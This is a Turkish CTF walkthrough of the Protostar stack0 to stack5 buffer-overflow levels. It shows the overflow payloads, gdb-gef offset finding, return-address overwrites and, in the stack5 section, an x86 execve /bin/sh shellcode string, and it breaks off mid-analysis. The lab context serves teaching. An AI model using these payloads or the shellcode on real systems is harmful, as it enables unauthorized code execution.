Protostar Stack Writeup
Protostar Stack Writeup
Stack0
Stack0 buffer overflow ile bellekteki yani stack teki verileri nasıl değiştirebilirizi gösteren basit bir örnek. Sorudaki binary dosyasının kaynak kodu şu şekilde:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Kaynak kodda 64 karakterlik bir dizi tanımlanmış ve gets
fonksiyonu ile veri okunarak veri okunarak bu diziye yazılıyor.
Aynı şekilde modified
isminde bir değişken tanımlanıyor ve bu değişkenin değeri 0 olarak atanıyor. İşin ilginç tarafı bu değişken kaynak kodun herhangi bir yerinde değiştirilmemesine rağmen if ile kontrol yapılarak bir takım işlemleri yapılıyor.
gets
fonksiyonunun açıklamasına baktığımızda ise Never use this function.
yazdığını görüyoruz. Ne? Kullanmayalım mı? O zaman bu fonksiyon neden var?
Bu satırı okuduğumda da aynısı bana da oldu. gets
fonksiyonu standart inputtan veri okuyarak bu veriyi bir buffera yazar. Bu işlemi yaparken herhangi bir uzunluk/sınır denetimi yapmaz. Bu kontrol yapılmadığı için de stacke fazladan veri yazılabilir hatta programın akışı değiştirilebilir.
Peki bu fonksiyon neden var. Bu fonksiyonu kullanmanın tehlikesi anlaşıldıktan sonra bu fonksiyon yerine kullanılabilecek başka fonksiyonlar geliştiriliyor elbette. Fakat hali hazırda yazılan kodları bir anda değiştirilemediği için BU FONKSİYON SADECE GERİYE DÖNÜK UYUMLULUK İÇİN VAR. Fakat her ne olursa olsun kullanılmaması gerekiyor. Çünkü kullanılması çok tehlikeli bir fonksiyon. Daha detaylı bilgi için gets
fonksiyonunun man sayfasına bakabilirsiniz.
Bizim amacımız ise gets
fonksiyonundaki zafiyeti kullanarak modified
isimli değişkenin değerini değiştirmek. Peki bu nasıl olacak.
Kaynak koda tekrar baktığımızda 64 karakter uzunluğunda bir dizi tanımlandığını tekrardan görüyoruz. gets fonksiyonunda uzunluk kontrolü yoktu. Peki bir 64 karakterden daha fazla veri giriği yaptığımızda fazladan girdiğimiz veri nereye yazılacak? Tabiki stackte ne varsa onun üzerine.
Programı çalıştıralım.
user@protostar:/opt/protostar/bin$ ./stack0
Hello world burası ISPARTA
Try again?
Programı çalıştırıp Hello world burası ISPARTA
yazısını input olarak girdikten sonra program normal bir şekilde sonlanıyor. 64 karakteri yani buffer boyutunu geçmedik. Herhangi bir sıkıntı yok.
Şimdi ise buffer boyutundan daha uzun bir şey girelim. Örnek aşağıda:
user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
Görüldüğü üzere modified isimli değişkenin değeri değişti ve bu sayede programın akışı değişti. Daha detaya inmek gerekirse 64 karakter boyutundaki bufferımıza 64 karakter girdiğimizde kalan bir karakter stack üzerindeki başka bir değişkenin üzerine (bu örnekte modified) yazıldı. Bu da programın akışını değiştirdi.
Stack1
Bu soruda ise aynı olayın biraz değiştirilmiş veriyonu var. Kaynak kodu inceleyelim.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Bir önceki soruda olduğu gibi 64 karakter uzunluğunda bir dizimiz var. Bu sefer kopyalama işlemi strcpy
fonksiyonu ile yapılıyor. Bu foksiyonda gets
fonksiyonunda olduğu gibi bir uzunluk kontrolüne sahip değil. Yani bir önceki sorudaki aynı zafiyet burada da var.
Diğer bir farklılık ise modified
değişkeninin volatile
anahtar kelimesi ile birlikte tanımlanıyor olması. Bu anahtar kelime değişkenin program dışından bir etki ile değişebileceğini ve derleyicinin bu değişkeni optirmize etmemesi gerektiğini belirtir.
Bi diğer farklılık ise bu soruda modified
değişkeninin değerini belirli bir değere getirmemiz gerekiyor. O zaman başlayalım.
Programı çalıştırıyorum.
user@protostar:/opt/protostar/bin$ ./stack1 integerman
Try again, you got 0x00000000
64 karakterden daha az veri girdiğimizde program normal bir şekilde çalışıyor ve sonlanıyor. Burada bir sorun yok. 64 karakterden daha uzun bir değer girdiğimizde ise bir takım ilginçliklere rastlıyoruz.
user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "a"*64 + "a"'`
Try again, you got 0x00000061
Görüldüğü üzere değişkenin değeri 0x00000061
olarak değişti. 61 a karakterinin hex karşılığıdır. Bunu python ile bulabiliriz.
>>> hex(ord("a"))
'0x61'
Burada olan şu biz 64 karakterden daha fazla veri girdiğimizde bu fazlalık modified
değişkenine yazılıyor. Bu örnekte 65. karakter "a" olduğu için değişkenin değeri "0x61" olarak değişti. Daha fazla karakter ekleyerek bunu görebiliriz.
user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "a"*64 + "abcd"'`
Try again, you got 0x64636261
Şimdi ise değişkenin değeri 0x64636261
oldu. Bu sayılar mantıklı gelmediyse şöyle açayım. a:61, b:62, c:63, d:64. Yani harflerin hex karşılıkları. Birleştirince "abcd" olarak karşımıza çıkıyor.
Girdiğimiz son 4 karakteri şöyle değiştirerek bu soruyuda çözebiliriz.
user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "a"*64 + "dcba"'`
you have correctly got the variable to the right value
Stack2
Gelelim sıradaki soruya. Bu sorudada amaç aynı fakat girdiyi doğrudan program üzerinden almıyor. Kaynak koda bakalım.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Buffer boyutumuz bir önceki soruda olduğu gibi 64 karakter. Aynı şekilde modified
değişkenide de bir değişiklik yok.
Bu sorudaki farklılık girdiyi doğrudan almak yerine environment veriables denilen ortam değişkenlerinden alıyor.
Öncelikle şu önbilgiyi vererek devam edeyim: Linux dağıtımları çalışan kabukla ilgili ayarları ve mevcut durumdaki bilgileri değişkenlerde saklar. Biz bu değişkenlere "ortam değişkenleri" (environment veriables) diyoruz.
Program ise GREENIE
isimli ortam değişkenini girdi olarak alıp strcpy
ile bufferın içerisine yazıyor. Peki bu ortam değişkeninin uzunluğu 64 karakterden fazla olursa?
Öncelikle export
anahtar kelimesi ile tanımladığımız ortam değişkeninin çalıştırdığımız programlar tarafından ulaşılabilir olmasını sağlıyoruz. Ardından ortam değişkenimiz için gerekli atamayı yapıyoruz. Atadığımız değer ise 64 tane a + 4 tane b.
user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "a"*64 + "b"*4'`
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x62626262
Ardından programı çalıştırıyoruz. Ve sonuç 0x62626262
. Tabikide şaşırmadınız. 64. karakterden sonraki girdiğimiz her karakter modified değişkenine yazıldı. Peki buraya 0x0d0a0d0a
değerini nasıl yazacağız. Bu işlem için Python'da structlardan faydalanabiliriz. Bi örnekle açıklayalım.
>>> import struct
>>> struct.pack("I", 0x0d0a0d0a)
'\n\r\n\r'
Öncelikle struct paketini import ediyoruz. Ardından struct paketindeki pack fonksiyonu ile 0x0d0a0d0a
değerini stacke yazmaya hazır hale getiriyoruz.
Daha detaya inecek olursak bizim yazdığımız değerler stack üzerine bizim verdiğimiz sıra ile yazılmaz. Biz değer olarak "abcd" değerini verdiğimizde bu değer stack üzerine "dcba" şeklinde yazılır ve bu şekilde saklanır. Aynı şekilde 0xaabbccdd
değerini stacke yazmak için \xdd\xcc\xbb\xaa
şeklinde şeklide girilmelidir. Bu birazda işlemcinin yada işletim sisteminin çalışma şekline bağlı olarak değişebilir. Bizim örneğimizde 0x0d0a0d0a
değerini yazdırmak için bu değeri \xa0\x0d\x0a\x0d
olarak girmeliyiz. Bu değerde \n\r\n\r
değerine eşittir.
64 karakter ve pack fonksiyonundan dönen değeri gerekli ortam değişkenine atayarak istediğimiz sonuca ulaşabiliriz.
user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "a"*64 + "\n\r\n\r"'`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
Stack3
Bu soru ile birlikte işler biraz daha ilginçleşmeye başlıyor. Hemen kaynak koda bakalım.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
İlk satırı inceleyelim. volatile int (*fp)()
satırı. Bu satır bir fonksiyon pointeri. Peki bu ne demek. Fonksiyon pointerları çalıştırılabilir makine kodlarının ilk adresini gösteren pointerlardır. Yani bu pointer ile fonksiyon adreslerini, shellcode adreslerini gösterebiliriz.
Bizim yazdığımız değer gets
fonksiyonu ile buffer değişkenine yazılıyor. Hatırlayacağınız üzere gets
fonksiyonunda boyut/uzunluk kontrolü yoktu. Tabikide buda bir zafiyet oluşturuyor.
Bu örnekte ise fp
değişkeninin gösterdiği adresteki fonksiyonu çalıştırıyor. gets
fonksiyonu ile girdi alındığı için fp
değişkeninin değeri değiştirilebiliyor. Programı 64 tane a ve 4 tane b ile çalıştıralım.
user@protostar:/opt/protostar/bin$ ./stack3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
calling function pointer, jumping to 0x62626262
Segmentation fault
Öncelikle 64 tane "a" ile bufferı dolduruyoruz. Ardından girdiğimiz 4 byte ise fp değişkenine yazılacak. Yukarıdaki örnekte bu değişkene "bbbb" yani 0x62626262
değerini yazdırdık. Program bu noktada bu adresteki fonksiyonu çağırması gerekiyor. Fakat bu adreste tanımlı bir şey yok. Yada bu adrese ulaşamıyor. Bu yüzden çalışmaya devam edemiyor.
Bizim amacımızda bu adrese win
fonksiyonunun adresini vermek. Bu şekilde normalde çağrılmaması gereken win
fonksiyonunu çağırabiliriz. Peki bunu nasıl yapacağız. Ufaktan gdb ye girelim.
Gdb c ve c++ ile yazılmış programları debug etmek ve hata ayıklamak için kullanılan bir programdır. Bizde gdb ile kendi programımızı inceleyerek exploit kodumuzu yazacağız. Programımızı gdb ile inceleyelim.
user@protostar:/opt/protostar/bin$ gdb -q stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) info functions
All defined functions:
File stack3/stack3.c:
int main(int, char **);
void win(void);
. . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .
Öncelikle programı gdb ile açıyorum. Ardından info functions
komutu ile mevcut fonksiyonları listeliyorum. kaynay kodda da gördüğümüz fonksiyonları burada da görüyoruz. main
ve win
fonksiyonları yukarıdaki gibi listeleniyor.
Burada bize win
fonksiyonunun adresi gerekiyor. Bu noktada bir diğer gdb komutu olan x
ile bu fonksiyonun başladığı adresi yazdırıyorum.
(gdb) x win
0x8048424 <win>: 0x83e58955
Gördüğünüz üzere bu fonksiyon 0x8048424
adresinden başlıyor. Yani bir fp
değişkeninin değerini bu değer ile değiştirebilirsek win
fonksiyonunu çağırmış olacağız.
Öncelikle win fonksiyonunun adresini stacke yazmaya hazır hale getirmemiz gerekiyor. Bunun için Python'da struct paketini kullanabiliriz. Yada kendimiz manuel olarak elle yazabiliriz. Elde edeceğiniz değer şu şekilde olması gerekiyor "\x24\x84\x04\x08"
. Bu değeri 64 karakter (byte) dan sonra gönderdiğimiz zaman win fonksiyonu çalışması gerekiyor. O zaman deneyelim.
user@protostar:/opt/protostar/bin$ ./stack3 < <(python -c 'print "a"*64 + "$\x84\x04\x08"')
calling function pointer, jumping to 0x08048424
code flow successfully changed
Başarılı bir şekilde normalde çalışmaması gereken bir fonksiyonu çalıştırdık.
Stack4
Bu örnekte ise önemli registerlar içerisindeki bilgileri değişgirerek programın akışına nasıl müdahale edildiğini daha iyi anlayacağız. Öncelike Stack hakkında bilgi vererek başlayalım.
Stack Nedir ?
Stack program çalışırken kullanılan geçici değişkenlerin saklandığı bellek alanıdır. Yukarıdaki örneklerde kullanılan buffer
, modified
, fp
gibi değişkenler program içerisinde yada fonksiyon içerisinde kullanılan geçici değişkenlerdir. Bu değişkenler stackte saklanır.
Peki stack yapısı nasıl ve bellekte (ram de) nasıl çalışıyor. Öncelikle bellekten başlayalım.
Program çalışırken belleğin yapısı yaklaşık olarak yukarıdaki gibidir. Yuksek adres değerlerinde kernele ait kodlar bulunur.
Kernelin altında stack bulunur. Bu kısım geçici değişkenlerin ve verilerin saklandığı kısımdır. Stack aşağıya doğru büyür. Bizim bu sorularda ilgilendiğimiz kısım daha çok burası.
Sonraki kısım ise heap. Burası dinamik olarak değişen değerverin ve verilerin bulunduğu kısımdır. Heap yukarı doğru büyür.
Ondan sonra gelen kısım Data kısmı. Burada da programla ilgili çeşitli bilgiler bulunur.
Text kısmı ise çalıştırılabilir makine kodlarının bulunduğu kısımdır. Bu bölüm aynı zamanda sadece okunabilirdir (read only). Çünkü burayı bozmak istemeyiz :)
Şimdi stacki biraz daha yakından inceleyelim.
Stack içerisinde mevcut fonksiyona ait parametreler bulunur. Bu fonksiyon main fonksiyonu olabileceği gibi başka bir fonksiyon da olabilir. Öncelikle stacke fonksiyonun parametreleri ters sıra ile yerleştirilir. Ardından fonksiyon görevini tamamladıktan sonra geri dönüş adresi stacke kaydedilir. Bu adres RET
adresidir. Bu adresin hemen aşağısında EBP
bulunur. Bu adres stack fremenin başlangıç adresidir. Stack frameni iç içe çağrılan fonksiyonların bölgelerini birbirinden ayıran bir sınır gibi düşünebilirsiniz. EBP
nin altında ise fonksiyonda kullanılan geçici değişkenler saklanır. Bu değişkenlerden sonra ise ESP
gelir. ESP
stackin sonunu gösterir. Stacke eleman eklendikçe yada silindikçe ESP
değişir.
Biz mevcut bir fonksiyondaki buffer overflow zafiyeti ile EBP
ve RET
değerlerini değiştirebiliriz. RET
değerini değiştirerek fonksiyonun geri dönüş adresini değiştirebiliriz. Bu da demek oluyor ki programın akışını değiştirebiliriz.
Şimdi nerede kalmıştık. Hmm. Doğru daha soruya başlamadık.
Soru
Kaynak kodu inceleyerek başlayalım.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Görüdüğü üzere buffera gets fonksiyonu ile veri okunuyor ve yazılıyor. Bu fonksiyonda uzunluk kontrolü olmadığı için buffer overflow zafiyeti oluşuyor.
user@protostar:/opt/protostar/bin$ ./stack4
asdfasdfasdf
Programa 64 karakterden daha az bir şey girdiğimizde sorunsuz bir şekilde sonlanıyor. 64 karakterden uzun bir şey girmeyi deneyelim:
user@protostar:/opt/protostar/bin$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Segmentation fault
hatası ile karşılaştırk. Bu durumda gdb ile daha yakından inceleyelim.
Ben daha pratik olduğu için gdb-gef
kullanıyorum. Gef binary exploitation konusunda yardımcı olmak için kullanılan bir gdb eklentisidir. Gef Github adresinden kendi bilgisayarınıza kurulumunu yapabilirsiniz.
Gdb de run yada daha kısa haliyle "r" komutu ile programı başlatabilirsiniz. Ben "r" ile başlatıp girdi olarak çok sayıda "a" karakterini veriyoruz. Ve çıktıyı inceleyelim.
Burada dikkatimizi çeken ön önemli satırlar şunlar.
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161
Bu satırlar diyor ki PC registerini çözümleyemiyorum. Dikkat ederseniz bu değer "6161616161" Yani a karakterinin hex karşılığı. Yani burada olan şey: bir çok fazla a karakteri girdik ve ebp nin hemen yukarısında bulunan RET değerini aaaa karakterleri ile değiştirdik. Tabilike fonksiyon bitince bu adresteki değere geri dönmeye çalışacak. Fakat burası geçerli bir adres değil. Bu yüzden dolayı program fonksiyondan geri dönemiyor ve çalışmaya devam edemiyor.
Anı şekilde çıktıdan stack alanını incelediğimizde ise aaa karakterleri ile dolduğunu rahat bir şekilde görebiliriz. Aynı şekilde esp
ve ebp
registerları nın değerlerininde aaaa olarak değiştirdik.
Bizim amacımız eip
registerinin değerini değiştirerek programın akışını değiştirmek.
Öncelikle eip registerine kadar kaç byte (karakter) olduğunu öğrenmemiz gerekiyor. Bu işlem için pattern oluşturacağız. Pattern birbirini tekrar etmeyen eşsiz bir dizi gibi düşünebilirsiniz. Tekrar etmediği için 4 karakter verdiğimizde o karakterlerin tam olarak nereden başladığını bize söyleyecektir.
gef de pattern create
komutu ile pattern oluşturuyorum. 100 karakterlik bir pattern bizim işimizi görecektir. Şimdi Bu patterni programa girdi olarak vererek tekrardan çalıştırıyorum.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/hello/CTF/protostar/stack4/stack4
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
$eip : 0x61616174 ("taaa"?)
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
[#0] Id 1, Name: "stack4", stopped 0x61616174 in ?? (), reason: SIGSEGV
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
Gördüğünüz üzere eip registeri içerisine 0x61616174
yazılmış. Yani "taaa". Şimdi bu kısmın pattern içerisini yerini bulalım. Bunun için şu komutu kullanıyorum.
gef➤ pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 76 (little-endian search) likely
[+] Found at offset 73 (big-endian search)
Evet pattern içerisinde 76 karakter olarak buldu. Yani 76. karakterden sonraki 4 karakter eip registeri içerisine yazılacak.
Hemen deneyelim.
gef➤ r < <(python2 -c 'print "a"*76 + "b"*4')
Starting program: /home/hello/CTF/protostar/stack4/stack4 < <(python2 -c 'print "a"*76 + "b"*4')
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
Görüldüğü üzere eip üzerine 62626262 yani bbbb yazılmış. Şimdi buraya win
fonksiyonunun adresi yazarsak ne olur ???
Öncelikle win fonksiyonunun adresini gdb ile buluyorum.
gef➤ x win
0x80483f4 <win>: 0x83e58955
Fonksiyon 0x80483f4
adresinde. Bu adresi stacke yazmaya hazır hale getirmeliyiz. Bunu manuel yada struct paketi ile yapabiliriz. Ben burada manuel yöntemi tercih edeceğim. Siz hangi yöntemi tercih ederseniz edin sonuç şu şekilde olması gerekiyor: '\xf4\x83\x04\x08'
Şimdi exploitimizi şu şekilde düzenleyelim ve çalıştıralım.
gef➤ r < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08"')
Görüldüğü üzere normalde çalışmaması gereken bir fonksiyon çalıştı. Yani başarılı bir şekilde programın akışını değiştirdik.
Peki win fonksiyonu çalıştıktan sonra neden hata aldık. Çünkü win fonksiyonunun geri dönüş adresini ayarlamadık. Bunuda ayarlayabiliriz. Şu örneğe bakalım.
gef➤ r < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "bbbb"')
Starting program: /home/hello/CTF/protostar/stack4/stack4 < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "bbbb"')
code flow successfully changed
Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
Artık 62626262 yerine ne koymak istiyorsanız koyabilirsiniz. Ben olsam exit koyardım.
gef➤ p exit
$2 = {<text variable, no debug info>} 0xf7dfa170 <exit>
gef➤ r < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "\x70\xa1\xdf\xf7"')
Starting program: /home/hello/CTF/protostar/stack4/stack4 < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "\x70\xa1\xdf\xf7"')
code flow successfully changed
[Inferior 1 (process 36962) exited with code 014]
Artık istediğimizi yapıp programı başarılı bir şekilde sonlandırabiliyoruz.
Stack5
Bu soru ile beraber işler biraz daha ilginçleşmeye başlıyor. Kaynak koddan incelemeye başlayalım:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Görüldüğü üzere sadece veri okuyan bir main fonksiyonumuz var. Başkada bir şey yok. Bu sorudaki amacımız binary dosyası üzerinden /bin/sh
komutunu çalıştırmak. Bunu yapmak için shellcode kullanacağız.
shellcode sistem üzerinde /bin/sh komutunu çalıştıran bir makine kodudur.
Eğer stackte bir yere shellcode koyup o kodun bulunduğu yeri fonksiyon gibi çalıştırabilirsek sistemde binary dosyası üzerinen komut çalıştırmış olacağız.
O zaman başlayalım. Ben öncelikle internetten shellcode bularak başlıyorum. Benim kullandığım shellcode şu: https://www.exploit-db.com/exploits/42428.
Programı gdb ile incelemeye başlıyorum. Öncelikle buffer boyutunu bulalım.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/hello/CTF/protostar/stack5/stack5
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
. . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . .
gef➤ pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 76 (little-endian search) likely
[+] Found at offset 73 (big-endian search)
Görüldüğü üzere 76 byttan sonraki 4 byte eip registeri üzerine yazılacak. Buraya yazacağımız değere daha sonra geleceğim.
Şimdi exploit kodumuzu oluşturmaya başlayalım. Öncelikle shell kodu stackte yazmamız lazım. Ardından bufferi doldurup eip registerine yazdığımız shellkodun adresini vermemiz lazım. Basit bir tabirle şu şekilde: shellcode + çöp_veri + eip_registeri.
shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ""
payload += shellcode
payload += "a" * (76 - len(shellcode))
Geriye sadece eip regiterine yazacağımız değere geldi. Burada size gadgetlerden bahsetmek istiyorum.
Gadget binary dosyalarında bulunan ret komutu ile sonlanan küçük programlardır. Genellikle bir kaç makine komutunu çalıştıran fonksiyonlar gibi düşünebilirsiniz. Bu küçük programlar sayesinde programın akışı istenilen herhangi bir yöne çekilebilir.
Bizde programda hali hazırda bulunan bir gadgeti seçerek stacke koyduğumuz shellkodu çalıştırabiliriz. Peki bunu nasıl yapacağız. Öncelikhan hangi gadgetların programda bulunduğuna bakalım. Bu işlem için birçok program ve tool var fakat ben ropper
isimli aracı kullanacağım.
$ ropper -f stack5
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x080483ae: adc bh, byte ptr [eax]; test eax, eax; je 0x3c1; mov dword ptr [esp], 0x80494b4; call eax;
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
0x080483d4: call 0x2e8; leave; ret;
0x0804848f: call 0x340; pop ecx; pop ebx; leave; ret;
0x080482bf: call 0x450; pop eax; pop ebx; leave; ret;
0x08048387: call 0x95ac0952; add al, 8; add dword ptr [ebx + 0x5d5b04c4], eax; ret;
0x080483bf: call eax;
0x080483bf: call eax; leave; ret;
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
0x080483de: nop; nop; push ebp; mov ebp, esp; pop ebp; ret;
0x080482a6: ret;
Gördüğünüz üzere gadgetları listeledik. Dikkat ederseniz sadece bir kaç makine kodunkan okuşuyorlar. Hatta bazıları 1 tane. Peki biz bunlarla ne yapacağız. İçlerinden bizim koyduğumuz shellkodu çalıştıran bir tanesini seçmemiz gerekiyor. Bunu nasıl seçeceğimizide programın çalışma anındaki durumuna bakarak karar vereceğiz. Gdb den programı biraz inceleyelim. Ben main fonksiyonunu disassmble ederek başlıyorum.
gef➤ disassemble main
Dump of assembler code for function main:
0x080483c4 <+0>: push ebp
0x080483c5 <+1>: mov ebp,esp
0x080483c7 <+3>: and esp,0xfffffff0
0x080483ca <+6>: sub esp,0x50
0x080483cd <+9>: lea eax,[esp+0x10]
0x080483d1 <+13>: mov DWORD PTR [esp],eax
0x080483d4 <+16>: call 0x80482e8 <gets@plt>
0x080483d9 <+21>: leave
0x080483da <+22>: ret
End of assembler dump.
Sırayla budataki olayları açıklayalım.
0x080483c4
ve0x080483c5
satırları bir fonksiyon çağırılırken kullanılan makine kodlarını barındırıyor. Burada main fonksiyonu çağırıldığı için bu satırları görüyoruz. Daha detaylı olarak stackte bir fonksiyona ait stack frameni bu satırlar ayarlar.0x080483c7
satırsa esp yi basit bir and işleminden geçiriyor.0x080483ca
satırda esp den 0x50 çıkarıyor. Hatırlarsanız stack aşağıya doğru büyüyen bir bellek alanıydı. Ve stackin en aşağısını yani sonunu esp registerinde saklıyorduk. Biz esp den 0x50 çıkardığımız zaman stack boyutunu 0x50 kadar arttırmış oluyoruz aslında. Bu sayede bu arttırdığımız alana yeni veriler koyabileceğiz.0x080483d1
ve0x080483d1
satırlarında esp+0x10 adresini eax registerine yüklüyor. Daha sonra ise bu değeri esp nin gösterdiği adrese taşıyor.0x080483d4
satırındacall 0x80482e8 <gets@plt>
komutuyla nihayetgets
fonksiyonunu çalıştırıyor. Bu satırdan önceki satırları gerekli bellek alanını ayırmak ve bu fonksiyonu çağırmak için gerekli hazırlıklar olduğu şeklinde değerlendirebiliriz.
Ben tam gets fonksiyonu çağırılırken programın durumunu öğrenmek için "breakpoint" koymak istiyorum. Breakpoint programın belli bir anında çalışmasını durdurmak için kullanılan bir işarettir. Program gets fonksiyonu çağırılmadan önce durduğunda bellek alanlarını ve registerları inceleyebileceğiz. O zaman başlayalım.
Break komutuyla breakpoint koyabiliriz. Breakpoint koymak istediğimiz yer özel bir adres olduğu için başına yıldız koymamız gerekiyor. Ve ardından programı çalıştırıyoruz.
gef➤ break *0x080483d4
Breakpoint 2 at 0x80483d4: file stack5/stack5.c, line 10.
gef➤ r
............................................................................................
───────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffce40 → 0xf7fab000 → 0x001e9d6c
$ebx : 0x0
$ecx : 0x552400d0
$edx : 0xffffceb4 → 0x00000000
$esp : 0xffffce30 → 0xffffce40 → 0xf7fab000 → 0x001e9d6c
$ebp : 0xffffce88 → 0x00000000
$esi : 0xf7fab000 → 0x001e9d6c
$edi : 0xf7fab000 → 0x001e9d6c
$eip : 0x080483d4 → 0xffff0fe8 → 0x00000000
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce30│+0x0000: 0xffffce40 → 0xf7fab000 → 0x001e9d6c ← $esp
0xffffce34│+0x0004: 0xf7fab000 → 0x001e9d6c
0xffffce38│+0x0008: 0xf7ffc7e0 → 0x00000000
0xffffce3c│+0x000c: 0xf7faec68 → 0x00000000
0xffffce40│+0x0010: 0xf7fab000 → 0x001e9d6c
0xffffce44│+0x0014: 0x0804958c → 0x080494b8 → <_DYNAMIC+0> add DWORD PTR [eax], eax
0xffffce48│+0x0018: 0xffffce58 → 0xffffce88 → 0x00000000
0xffffce4c│+0x001c: 0x080482c4 → <_init+44> pop eax
─────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80483c9 <main+5> lock sub esp, 0x50
0x80483cd <main+9> lea eax, [esp+0x10]
0x80483d1 <main+13> mov DWORD PTR [esp], eax
→ 0x80483d4 <main+16> call 0x80482e8 <gets@plt>
↳ 0x80482e8 <gets@plt+0> jmp DWORD PTR ds:0x804959c
0x80482ee <gets@plt+6> push 0x8
0x80482f3 <gets@plt+11> jmp 0x80482c8
0x80482f8 <__libc_start_main@plt+0> jmp DWORD PTR ds:0x80495a0
0x80482fe <__libc_start_main@plt+6> push 0x10
0x8048303 <__libc_start_main@plt+11> jmp 0x80482c8
............................................................................................
............................................................................................
gets fonksiyonu alanına geldiğinde program durdu. Bu noktada programın durumunu inceleyebilirsiniz. Ben bir adım daha ilerlemek istiyorum. Bunun için n
komutunu kullanacağım. Ardından gets fonksiyonu çalışacağı için benden girdi steyecek. O girdiyide verip tekrar programı inceliyorum.
